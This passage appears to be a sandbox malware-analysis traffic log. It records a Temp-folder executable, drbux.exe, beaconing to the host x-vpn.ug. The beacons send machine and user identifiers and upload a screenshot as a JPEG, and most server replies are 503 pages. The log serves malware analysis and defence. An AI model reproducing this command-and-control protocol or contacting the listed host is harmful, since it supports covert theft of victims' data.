Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
190	192.168.2.6	49944	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
Jul 19, 2021 18:36:25.240525007 CEST	16012	OUT	POST /hfV3vDtt/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: x-vpn.ug Content-Length: 85 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Jul 19, 2021 18:36:25.323998928 CEST	16013	IN	HTTP/1.1 503 Service Temporarily Unavailable Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:36:25 GMT Content-Type: text/html; charset=utf-8 Content-Length: 197 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 36 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>503 Service Temporarily Unavailable</title></head><body><center><h1>503 Service Temporarily Unavailable</h1></center><hr><center>nginx/1.16.1</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
191	192.168.2.6	49945	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
Jul 19, 2021 18:36:25.528409958 CEST	16021	OUT	POST /hfV3vDtt/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: x-vpn.ug Content-Length: 85 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Jul 19, 2021 18:36:25.620239019 CEST	16021	IN	HTTP/1.1 503 Service Temporarily Unavailable Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:36:25 GMT Content-Type: text/html; charset=utf-8 Content-Length: 197 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 36 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>503 Service Temporarily Unavailable</title></head><body><center><h1>503 Service Temporarily Unavailable</h1></center><hr><center>nginx/1.16.1</center></body></html>
Jul 19, 2021 18:36:25.639308929 CEST	16022	OUT	POST /hfV3vDtt/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----7f8d339357acc0d0c54f7d208503fdb7 Host: x-vpn.ug Content-Length: 96499 Cache-Control: no-cache
Jul 19, 2021 18:36:25.639519930 CEST	16022	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 37 66 38 64 33 33 39 33 35 37 61 63 63 30 64 30 63 35 34 66 37 64 32 30 38 35 30 33 66 64 62 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------7f8d339357acc0d0c54f7d208503fdb7Content-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Jul 19, 2021 18:36:25.639894962 CEST	16032	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Jul 19, 2021 18:36:25.640311956 CEST	16035	OUT	Data Raw: 1d f0 a3 1a db 21 c6 98 7a d7 b4 c1 a3 e9 be 22 bb d0 bc 56 b1 c1 05 9d bc 0c f7 91 aa 85 55 74 e4 71 ec db bf 00 2b cb 3c 4d ad 49 e2 0f 10 5d 6a 0f 90 8e db 62 53 fc 28 38 51 f9 7e a4 d7 9e d5 82 74 79 15 ef e8 75 7e 0d 83 c1 ba 86 8d 34 7a 8e Data Ascii: !z"VUtq+<MI]jbS(8Q~tyu~4zu6ei5FUtVqhAZ4Q,sI=*O&Gl3HeA!$aKT~[e <GU4?gx6)D\]sZ
Jul 19, 2021 18:36:25.732754946 CEST	16035	IN	HTTP/1.1 503 Service Temporarily Unavailable Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:36:25 GMT Content-Type: text/html; charset=utf-8 Content-Length: 197 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 36 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>503 Service Temporarily Unavailable</title></head><body><center><h1>503 Service Temporarily Unavailable</h1></center><hr><center>nginx/1.16.1</center></body></html>
Jul 19, 2021 18:36:25.733109951 CEST	16059	OUT	Data Raw: eb 54 35 24 b0 4d 6e ca b3 c3 24 4c c8 b2 28 75 2a 4a b0 ca b0 cf 62 39 07 bd 67 f5 2a 3d 8e 9f ed 8c 67 f3 fe 0b fc 85 fb 73 ff 00 cf 1f fc 7b ff 00 ad 51 bc 86 67 dc 57 6f 18 c6 68 a2 b4 a7 86 a7 4e 5c d1 46 15 f3 0c 45 78 72 54 95 d7 a2 1b 45 Data Ascii: T5$Mn$L(uJb9g=gs{QgWohN\FExrTE)WA%\|;m":6^I38$1T[d5VUl, }.d;3nKI^[axraV &C`UyEIqes`w\t)JR4
Jul 19, 2021 18:36:25.733171940 CEST	16062	OUT	Data Raw: 12 c7 03 4e 14 cc d3 81 aa 25 8f a2 9b 45 51 23 c1 a7 83 51 83 4a 0d 3b 89 a2 4e f4 ea 60 a5 06 ad 10 3c 52 83 cd 34 1a 52 69 8a c4 80 d3 b3 9a 8f 75 28 35 48 96 87 e6 94 1a 6e 68 aa 26 c4 80 d3 b3 51 8a 75 34 c9 68 7e 69 d9 a8 f3 4a 0f bd 55 c9 Data Ascii: N%EQ#QJ;N`<R4Riu(5Hnh&Qu4h~iJU 4j i%\34g4L"Q)!E\"sPNKL374D584hIq@j4n\uAu"yKwN\J_2iY7Z+dSS;IHK
Jul 19, 2021 18:36:25.830281019 CEST	16065	OUT	Data Raw: 80 15 7b c7 da bd bd ce a9 6f e1 ad 33 e4 d2 74 74 58 c2 03 c3 be 38 27 d7 8e 73 ea 4f a5 66 da c3 a7 5c e9 17 56 f7 88 c2 42 e8 d1 c8 8d b5 90 00 c0 e0 fe 23 8a e5 85 e7 2e 77 f2 3a 9d a1 1e 54 4b ac 99 bc 50 d0 7f 68 cf 21 48 73 b1 23 c2 ae 4f Data Ascii: {o3ttX8'sOf\VB#.w:TKPh!Hs#Or9xEy iHmyup[]6g /v&]FdhFibOlpN,DgG M>rzvjkI\|W3lQrT:\wZ``(UJN<r(
Jul 19, 2021 18:36:25.831302881 CEST	16068	OUT	Data Raw: 3d 6b 62 e3 fe 45 2d 1f fe b9 8f e5 58 fd eb 93 0d f0 bf 56 69 8c f8 d7 a2 01 ef 4b 81 45 2d 74 9c 68 40 29 f8 a6 d2 8a 45 21 c0 53 bb d3 69 c2 a4 a4 38 52 8a 05 28 35 2c b4 2d 38 73 48 08 a5 cd 49 a2 1e 29 45 34 53 85 26 52 1c 29 e2 9a 3a 52 81 Data Ascii: =kbE-XViKE-th@)E!Si8R(5,-8sHI)E4S&R):RPCjAQRhNNcL*A&W9-rc-~X"UcZ')6im]EpFk[M6yu4Ho4`aV[yI;m
Jul 19, 2021 18:36:25.831409931 CEST	16070	OUT	Data Raw: 3a 92 97 fc 6a 59 68 70 a9 01 a6 28 e6 9f 8a 86 68 87 03 4f 06 99 4e 15 0c b4 48 29 c2 98 05 3c 73 52 cb 42 d2 8e 94 01 4e 02 a5 96 28 15 e5 9f 14 4e 56 1f fa ee df fa 08 af 53 15 e5 5f 14 7a 41 ff 00 5d 9b ff 00 41 5a d2 8f c4 45 5e 87 90 10 3d Data Ascii: :jYhp(hONH)<sRBN(NVS_zA]AZE^=(J{)y<JxaG&i\ANzfiA"@T`D)AFh0@~TM5,h@=7;!SSAHilzN4U{p=/z
Jul 19, 2021 18:36:25.831888914 CEST	16073	OUT	Data Raw: 4b f6 f1 e9 59 d4 53 55 64 2f 63 03 4f fb 40 0e d4 7d bc 1e d5 9b 4b 4f db 48 5e c6 06 a2 df a8 3c d3 c6 a2 be 95 93 40 a7 ed e4 4b a1 03 5b fb 45 3d 29 7f b4 53 d2 b2 68 a7 ed e4 2f 61 03 57 fb 41 29 c2 fe 3f 4a c9 a5 a6 ab c8 5e c2 06 b7 db e3 Data Ascii: KYSUd/cO@}KOH^<@K[E=)Sh/aWA)?J^B:$/w5K$/@t^<1xRH@}}j"~ti}A}5k%s\|S'\O;'d8:?ROA>SO/G}Qu
Jul 19, 2021 18:36:25.831973076 CEST	16076	OUT	Data Raw: 15 b9 fd 8f 1f f7 a8 1a 34 7e b4 7d 5a a0 be b5 4c c4 a5 18 ad c1 a2 c7 fd ea 0e 8d 1f f7 a9 fd 5a a0 be b5 4c c4 18 a7 0c 62 b6 bf b1 a3 f5 a5 fe c7 8f d6 a9 61 aa 09 e2 a9 98 c2 97 8c d6 d7 f6 3c 7e b4 e1 a3 c7 eb 4d 61 aa 11 f5 aa 66 2f 14 7e Data Ascii: 4~}ZLZLba<~Maf/~u}Zb3b1[#H&!xf7q[1Qi^b3\L^4^DU3mfP8i>"~(^G37d\|k:.<S\|fu

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
192	192.168.2.6	49946	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
Jul 19, 2021 18:36:25.824754000 CEST	16062	OUT	POST /hfV3vDtt/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: x-vpn.ug Content-Length: 85 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Jul 19, 2021 18:36:25.903669119 CEST	16112	IN	HTTP/1.1 503 Service Temporarily Unavailable Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:36:25 GMT Content-Type: text/html; charset=utf-8 Content-Length: 197 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 36 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>503 Service Temporarily Unavailable</title></head><body><center><h1>503 Service Temporarily Unavailable</h1></center><hr><center>nginx/1.16.1</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
193	192.168.2.6	49947	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
Jul 19, 2021 18:36:26.095576048 CEST	16120	OUT	POST / HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: x-vpn.ug Content-Length: 85 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Jul 19, 2021 18:36:26.178241968 CEST	16121	IN	HTTP/1.1 503 Service Temporarily Unavailable Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:36:26 GMT Content-Type: text/html; charset=utf-8 Content-Length: 197 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 36 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>503 Service Temporarily Unavailable</title></head><body><center><h1>503 Service Temporarily Unavailable</h1></center><hr><center>nginx/1.16.1</center></body></html>
Jul 19, 2021 18:36:26.622045994 CEST	16121	OUT	POST /hfV3vDtt/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----7f8d339357acc0d0c54f7d208503fdb7 Host: x-vpn.ug Content-Length: 96499 Cache-Control: no-cache
Jul 19, 2021 18:36:26.622172117 CEST	16122	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 37 66 38 64 33 33 39 33 35 37 61 63 63 30 64 30 63 35 34 66 37 64 32 30 38 35 30 33 66 64 62 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------7f8d339357acc0d0c54f7d208503fdb7Content-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Jul 19, 2021 18:36:26.622363091 CEST	16132	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Jul 19, 2021 18:36:26.622478962 CEST	16134	OUT	Data Raw: 1d f0 a3 1a db 21 c6 98 7a d7 b4 c1 a3 e9 be 22 bb d0 bc 56 b1 c1 05 9d bc 0c f7 91 aa 85 55 74 e4 71 ec db bf 00 2b cb 3c 4d ad 49 e2 0f 10 5d 6a 0f 90 8e db 62 53 fc 28 38 51 f9 7e a4 d7 9e d5 82 74 79 15 ef e8 75 7e 0d 83 c1 ba 86 8d 34 7a 8e Data Ascii: !z"VUtq+<MI]jbS(8Q~tyu~4zu6ei5FUtVqhAZ4Q,sI=*O&Gl3HeA!$aKT~[e <GU4?gx6)D\]sZ
Jul 19, 2021 18:36:26.704410076 CEST	16135	IN	HTTP/1.1 503 Service Temporarily Unavailable Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:36:26 GMT Content-Type: text/html; charset=utf-8 Content-Length: 197 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 36 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>503 Service Temporarily Unavailable</title></head><body><center><h1>503 Service Temporarily Unavailable</h1></center><hr><center>nginx/1.16.1</center></body></html>
Jul 19, 2021 18:36:26.704595089 CEST	16138	OUT	Data Raw: eb 54 35 24 b0 4d 6e ca b3 c3 24 4c c8 b2 28 75 2a 4a b0 ca b0 cf 62 39 07 bd 67 f5 2a 3d 8e 9f ed 8c 67 f3 fe 0b fc 85 fb 73 ff 00 cf 1f fc 7b ff 00 ad 51 bc 86 67 dc 57 6f 18 c6 68 a2 b4 a7 86 a7 4e 5c d1 46 15 f3 0c 45 78 72 54 95 d7 a2 1b 45 Data Ascii: T5$Mn$L(uJb9g=gs{QgWohN\FExrTE)WA%\|;m":6^I38$1T[d5VUl, }.d;3nKI^[axraV &C`UyEIqes`w\t)JR4
Jul 19, 2021 18:36:26.704741001 CEST	16140	OUT	Data Raw: 6f 0b 6b b2 96 d5 b4 eb 04 bd b0 65 f2 cc 77 53 86 1e 77 46 fd d0 1f 5c 71 e8 6b 8e f2 50 9e 45 3b cb 19 07 1d 2b 9b d8 be fd bf 07 73 a1 d6 47 6d 74 9a 97 8e 74 49 a7 d2 74 d9 25 b8 7d 7e 7b 89 ad e0 1b cc 09 2a 47 b1 9b 1c 85 ca 36 58 80 32 0f Data Ascii: okewSwF\qkPE;+sGmttIt%}~{G6X2J_k}iWw6~i#a^jI''A]WlGD:}4yn?^\|/;=]<-/%7b+></9WIb8.>r-u`
Jul 19, 2021 18:36:26.705055952 CEST	16143	OUT	Data Raw: 7a 4a 28 01 68 14 52 d3 42 10 d1 4b 45 00 25 06 96 8a 00 29 68 a2 80 03 49 4b 41 a6 02 52 1a 5a 29 00 82 83 4e c5 34 d0 01 45 2d 25 00 14 51 45 00 14 51 45 03 01 4b 49 40 a0 42 d1 45 27 7a 00 5a 29 0d 2d 00 14 51 45 00 2d 19 a4 a5 a0 03 bd 2d 25 Data Ascii: zJ(hRBKE%)hIKARZ)N4E-%QEQEKI@BE'zZ)-QE--%-11KEQK@Z(ESR-0aEP!ii)JZ`--%tp4ZbcL6$QiwB1b;u850D&#IVr.;*`cKEJb#+1!RbRS%R@(hR
Jul 19, 2021 18:36:26.705193043 CEST	16146	OUT	Data Raw: 01 f6 e9 8a 5d 33 e1 6e 93 62 e6 6b d9 e5 bd 65 19 08 c3 62 7e 20 72 7f 3a f3 b9 32 fe 5b f3 4a fd bf a4 7a 3c f9 87 35 b9 63 6e ff 00 d3 38 5f 1f eb 36 3a e7 88 52 ef 4f 98 cb 08 b7 54 2c 50 af 20 b7 62 07 a8 af 3d f1 37 fc 83 63 ff 00 ae c3 f9 Data Ascii: ]3nbkeb~ r:2[Jz<5cn8_6:ROT,P b=7c_6??z5K<U\Rl%.(PDK?v+ q>kt~<Qr7v 1;_VO%zF=E:wyzZNQEc
Jul 19, 2021 18:36:26.705502033 CEST	16148	OUT	Data Raw: bc 25 a4 a7 89 e0 b3 9b 53 96 eb ec 5a a4 16 5a 94 1f 63 da a5 9d 8a e1 1b cc f9 97 72 95 24 85 20 1c 80 7a 55 3f 10 43 a1 cf e1 f6 d5 ad a5 9b ed d2 ea b3 db 80 ba 7c 76 f1 94 45 8f 0b b5 24 2a a0 03 9c 85 c9 24 83 ea 72 67 f1 36 bd 71 2d b4 b2 Data Ascii: %SZZcr$ zU?C\|vE$*$rg6q-_'o<w+"DyPeaST}.nZ,$8+sgi5<MOcSkxn(a,Qa2YG4\A!h\Idx;XmF6FM~\|P
Jul 19, 2021 18:36:26.705957890 CEST	16154	OUT	Data Raw: 29 45 50 98 b4 ea 41 4b 4c 96 14 b4 0a 50 29 88 29 68 a5 14 c9 1c 05 2d 27 6a 51 56 48 e1 4e 1d 69 29 45 34 48 fa 51 49 4b 56 40 e0 69 e0 d3 07 5a 5a a4 4b 25 0d 4e 0d 50 d3 b3 4e e4 b4 49 85 3d 69 a6 04 6e 94 03 8a 70 6a 2c 98 ae d6 c4 46 d7 d0 Data Ascii: )EPAKLP))h-'jQVHNi)E4HQIKV@iZZK%NPNI=inpj,FVGi$g4bv)Q66)M2mP;!ZbE)u6)v1XQ}fjTFhQ]3H3LuGi45CXjo@P<U:gDqL+W,tFwMN
Jul 19, 2021 18:36:26.706024885 CEST	16157	OUT	Data Raw: 6b 34 35 3d 5e ad 54 66 6e 92 35 05 c8 3d 54 53 84 91 37 de 51 59 c1 cd 3c 3d 68 a6 64 e9 97 fc ab 57 fe 01 4c 6b 0b 56 f6 aa c1 e9 c1 cd 3f 75 f4 26 d3 5b 32 43 a5 42 7e eb d4 67 48 1f c3 25 3c 4a 7d 6a 41 33 76 34 72 41 f4 0e 7a 8b a9 51 b4 99 Data Ascii: k45=^Tfn5=TS7QY<=hdWLkV?u&[2CB~gH%<J}jA3v4rAzQLN;t{Qck(S\|TSAP}fKtsOY]Qp~L:Q{&2Ltem=_R)qRwT\|;~Gx@JvxO

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
194	192.168.2.6	49948	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
Jul 19, 2021 18:36:26.821398973 CEST	16216	OUT	POST /hfV3vDtt/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: x-vpn.ug Content-Length: 85 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Jul 19, 2021 18:36:26.931915998 CEST	16220	IN	HTTP/1.1 200 OK Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:36:26 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 6 Connection: keep-alive Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>
Jul 19, 2021 18:36:26.994353056 CEST	16220	OUT	POST /hfV3vDtt/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----7f8d339357acc0d0c54f7d208503fdb7 Host: x-vpn.ug Content-Length: 96499 Cache-Control: no-cache
Jul 19, 2021 18:36:26.994488001 CEST	16220	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 37 66 38 64 33 33 39 33 35 37 61 63 63 30 64 30 63 35 34 66 37 64 32 30 38 35 30 33 66 64 62 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------7f8d339357acc0d0c54f7d208503fdb7Content-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Jul 19, 2021 18:36:26.994965076 CEST	16230	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Jul 19, 2021 18:36:26.995121956 CEST	16233	OUT	Data Raw: 1d f0 a3 1a db 21 c6 98 7a d7 b4 c1 a3 e9 be 22 bb d0 bc 56 b1 c1 05 9d bc 0c f7 91 aa 85 55 74 e4 71 ec db bf 00 2b cb 3c 4d ad 49 e2 0f 10 5d 6a 0f 90 8e db 62 53 fc 28 38 51 f9 7e a4 d7 9e d5 82 74 79 15 ef e8 75 7e 0d 83 c1 ba 86 8d 34 7a 8e Data Ascii: !z"VUtq+<MI]jbS(8Q~tyu~4zu6ei5FUtVqhAZ4Q,sI=*O&Gl3HeA!$aKT~[e <GU4?gx6)D\]sZ
Jul 19, 2021 18:36:27.094351053 CEST	16233	IN	HTTP/1.1 503 Service Temporarily Unavailable Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:36:27 GMT Content-Type: text/html; charset=utf-8 Content-Length: 197 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 